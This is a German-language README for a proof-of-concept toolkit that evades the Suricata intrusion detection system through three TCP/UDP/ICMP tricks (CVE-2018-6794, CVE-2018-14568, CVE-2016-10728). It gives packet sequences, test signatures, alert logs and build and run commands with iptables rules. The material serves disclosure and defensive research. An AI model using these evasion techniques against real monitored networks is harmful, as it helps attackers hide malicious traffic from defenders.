Haftungsausschluss

Diese Programme sind NUR für Bildungszwecke gedacht. Verwenden Sie sie nicht ohne Erlaubnis.

inject_server: Proof-Of-Concept für CVE-2018-6794.

Wenn Sie als Server die normale TCP-3-Wege-Handshake-Reihenfolge unterbrechen und einige Antwortdaten vor Abschluss des 3whs einfügen, werden die Daten vom Client trotzdem empfangen, aber einige IDS-Engines überspringen möglicherweise die Inhaltsprüfung.

Client    ->  [SYN] [Seq=0 Ack=0]           ->  Evil Server     # Client starts a TCP 3-way handshake
Client    <-  [SYN, ACK] [Seq=0 Ack=1]      <-  Evil Server     # Server responses as it should, but ...
Client    <-  [PSH, ACK] [Seq=1 Ack=1]      <-  Evil Server     # It sends HTTP response before the 3whs is completed
Client    <-  [FIN, ACK] [Seq=83 Ack=1]     <-  Evil Server     # Moreover it finishes TCP session 
Client    ->  [ACK] [Seq=1 Ack=84]          ->  Evil Server     # Client finishes TCP 3whs by sending ACK packet and confirms data from server
Client    ->  [PSH, ACK] [Seq=1 Ack= 4]     ->  Evil Server     # Then it sends a HTTP GET request as nothing wrong happened

Suricata IDS < 4.0.4 ist anfällig für dieses Problem: HTTP- oder Stream-TCP-Signaturen werden auf den injizierten Inhalt nicht alarmieren. Wir sehen keine Alarme auf böse HTTP-Antwortdaten, wenn wir die folgenden Signaturen auf den PoC-Netzwerkverkehr anwenden:

alert tcp any any -> any any (msg: "TCP BEEN NO_STREAM RULE"; flow: no_stream; content: "been"; sid: 1; )
alert tcp any any -> any any (msg: "TCP BEEN ONLY_STREAM RULE"; flow: only_stream; content: "been"; sid: 2; )
alert http any any -> any any (msg: "HTTP BEEN RULE"; content: "been"; sid: 3; )
alert tcp any any -> any any (msg: "TCP GET NO_STREAM RULE"; flow: no_stream; content: "GET"; sid: 4; )
alert tcp any any -> any any (msg: "TCP GET ONLY_STREAM RULE"; flow: only_stream; content: "GET"; sid: 5; )
alert http any any -> any any (msg: "HTTP GET RULE"; content: "GET"; sid: 6; )

03/02/2018-11:08:13.012990  [**] [1:1:0] TCP BEEN NO_STREAM RULE [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.235.101:80 -> 192.168.235.1:56581
03/02/2018-11:08:13.013610  [**] [1:4:0] TCP GET NO_STREAM RULE [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.235.1:56581 -> 192.168.235.101:80
03/02/2018-11:08:13.018914  [**] [1:5:0] TCP GET ONLY_STREAM RULE [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.235.1:56581 -> 192.168.235.101:80
03/02/2018-11:08:13.018914  [**] [1:6:0] HTTP GET RULE [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.235.1:56581 -> 192.168.235.101:80

rst_server: Proof-Of-Concept für CVE-2018-14568.

Windows-Clients können TCP-Daten verarbeiten, selbst wenn sie kurz nach einem TCP-RST-Paket eintreffen. Einige IDS verarbeiten dies korrekt und versuchen, Daten nach RST zu matchen, aber einige beenden die Inspektion des TCP-Streams, sobald ein RST empfangen wurde.

Client    ->  [SYN] [Seq=0 Ack=0]           ->  Evil Server     # Client starts a TCP 3-way handshake
Client    <-  [RST, ACK] [Seq=0x0 Ack=1]    <-  Evil Server     # Server responses with TCP RST
Client    <-  [SYN, ACK] [Seq=1 Ack=1]      <-  Evil Server     # And SYN-ACK shortly after RST
           ... 3whs continues ...

Suricata IDS ist weiterhin anfällig für dieses Problem: HTTP- oder Stream-TCP-Signaturen werden auf diese TCP-Sitzung nicht alarmieren.

alert tcp any any -> any any (msg: "TCP BEEN NO_STREAM RULE"; flow: no_stream; content: "been"; sid: 1; )
alert tcp any any -> any any (msg: "TCP BEEN ONLY_STREAM RULE"; flow: only_stream; content: "been"; sid: 2; )
alert http any any -> any any (msg: "HTTP BEEN RULE"; content: "been"; sid: 3; )
alert tcp any any -> any any (msg: "TCP GET NO_STREAM RULE"; flow: no_stream; content: "GET"; sid: 4; )
alert tcp any any -> any any (msg: "TCP GET ONLY_STREAM RULE"; flow: only_stream; content: "GET"; sid: 5; )
alert http any any -> any any (msg: "HTTP GET RULE"; content: "GET"; sid: 6; )

05/03/2018-19:13:43.270632  [**] [1:4:0] TCP GET NO_STREAM RULE [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.235.1:53434 -> 192.168.235.101:80
05/03/2018-19:13:43.471128  [**] [1:1:0] TCP BEEN NO_STREAM RULE [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.235.101:80 -> 192.168.235.1:53434

icmp_server: Proof-Of-Concept für CVE-2016-10728.

Der Server sollte mit einer ICMP-Nachricht vom Typ "Destination Unreachable", Code "Port Unreachable" antworten, wenn ein UDP-Paket an einen geschlossenen UDP-Port gesendet wurde. IDS können ICMP-Unreachable-Antworten ähnlich wie TCP-RST-Pakete interpretieren und die Verkehrsinspektion dieses UDP-Streams stoppen oder einschränken. Wenn eine normale UDP-Antwort der ICMP-Nachricht folgt, umgeht der Angreifer die UDP-Prüfung des Verkehrs von seinem Server. Beachten Sie, dass normale Clients Verbindungen schließen, wenn ICMP Dest. Unreachable empfangen wurde, daher tauschen wir IP-Adressen und UDP-Ports im angehängten UDP der ICMP-Nachricht aus, sodass der Client eine solche ICMP-Nachricht nicht akzeptiert, das IDS jedoch schon.

Client    ->  [UDP Req]                  ->  Evil Server     # Client starts UDP session by sending a packet 
Client    <-  [ICMP] [Type=3, Code=3]    <-  Evil Server     # Server responses with *improved* ICMP Destination Unreachable first
Client    <-  [UDP Resp]                 <-  Evil Server     # And with UDP answer as usual

Suricata IDS < 3.1.2 ist anfällig für dieses Problem: UDP-Signaturen werden auf Pakete vom Evil Server nicht matchen.

alert udp any any -> any any (msg: "UDP BEEN RULE"; content: "been"; sid: 1; )
alert udp any any -> any any (msg: "UDP HELLO RULE"; content: "hello"; sid: 2; )

05/03/2018-03:44:11.016635  [**] [1:2:0] UDP HELLO RULE [**] [Classification: (null)] [Priority: 3] {UDP} 192.168.235.100:46599 -> 192.168.235.101:80

Diese Techniken können auch auf andere Intrusion-Detection- oder Netzwerküberwachungswerkzeuge und -systeme angewendet werden.

Autor und Danksagungen

Kirill Shipulin von Positive Technologies (@kirill_wow) Folien meines Hackfest-2018-Vortrags verfügbar

Verwendung

git clone https://github.com/kirillwow/ids_bypass.git
cd ids_bypass
make
# inject server
sudo iptables -A OUTPUT -p tcp --sport 80 --tcp-flags RST RST -j DROP
sudo ./inject_server # print help
sudo ./inject_server -i eno16777736 -p 80
# rst server
sudo iptables -A OUTPUT -p tcp -o eno16777736 --sport 80 -m owner --uid-owner 0 --tcp-flags RST RST -j ACCEPT
sudo iptables -A OUTPUT -p tcp -o eno16777736 --sport 80 --tcp-flags RST RST -j DROP
sudo ./rst_server # print help
sudo ./rst_server -i eno16777736 -p 80
# icmp server
sudo iptables -A OUTPUT -o eno16777736 -p icmp --icmp-type destination-unreachable -m owner --uid-owner 0 -j ACCEPT
sudo iptables -A OUTPUT -o eno16777736 -p icmp --icmp-type destination-unreachable -j DROP
sudo ./icmp_server # print help
sudo ./icmp_server -i eno16777736 -p 80

alt PoC

ids_bypass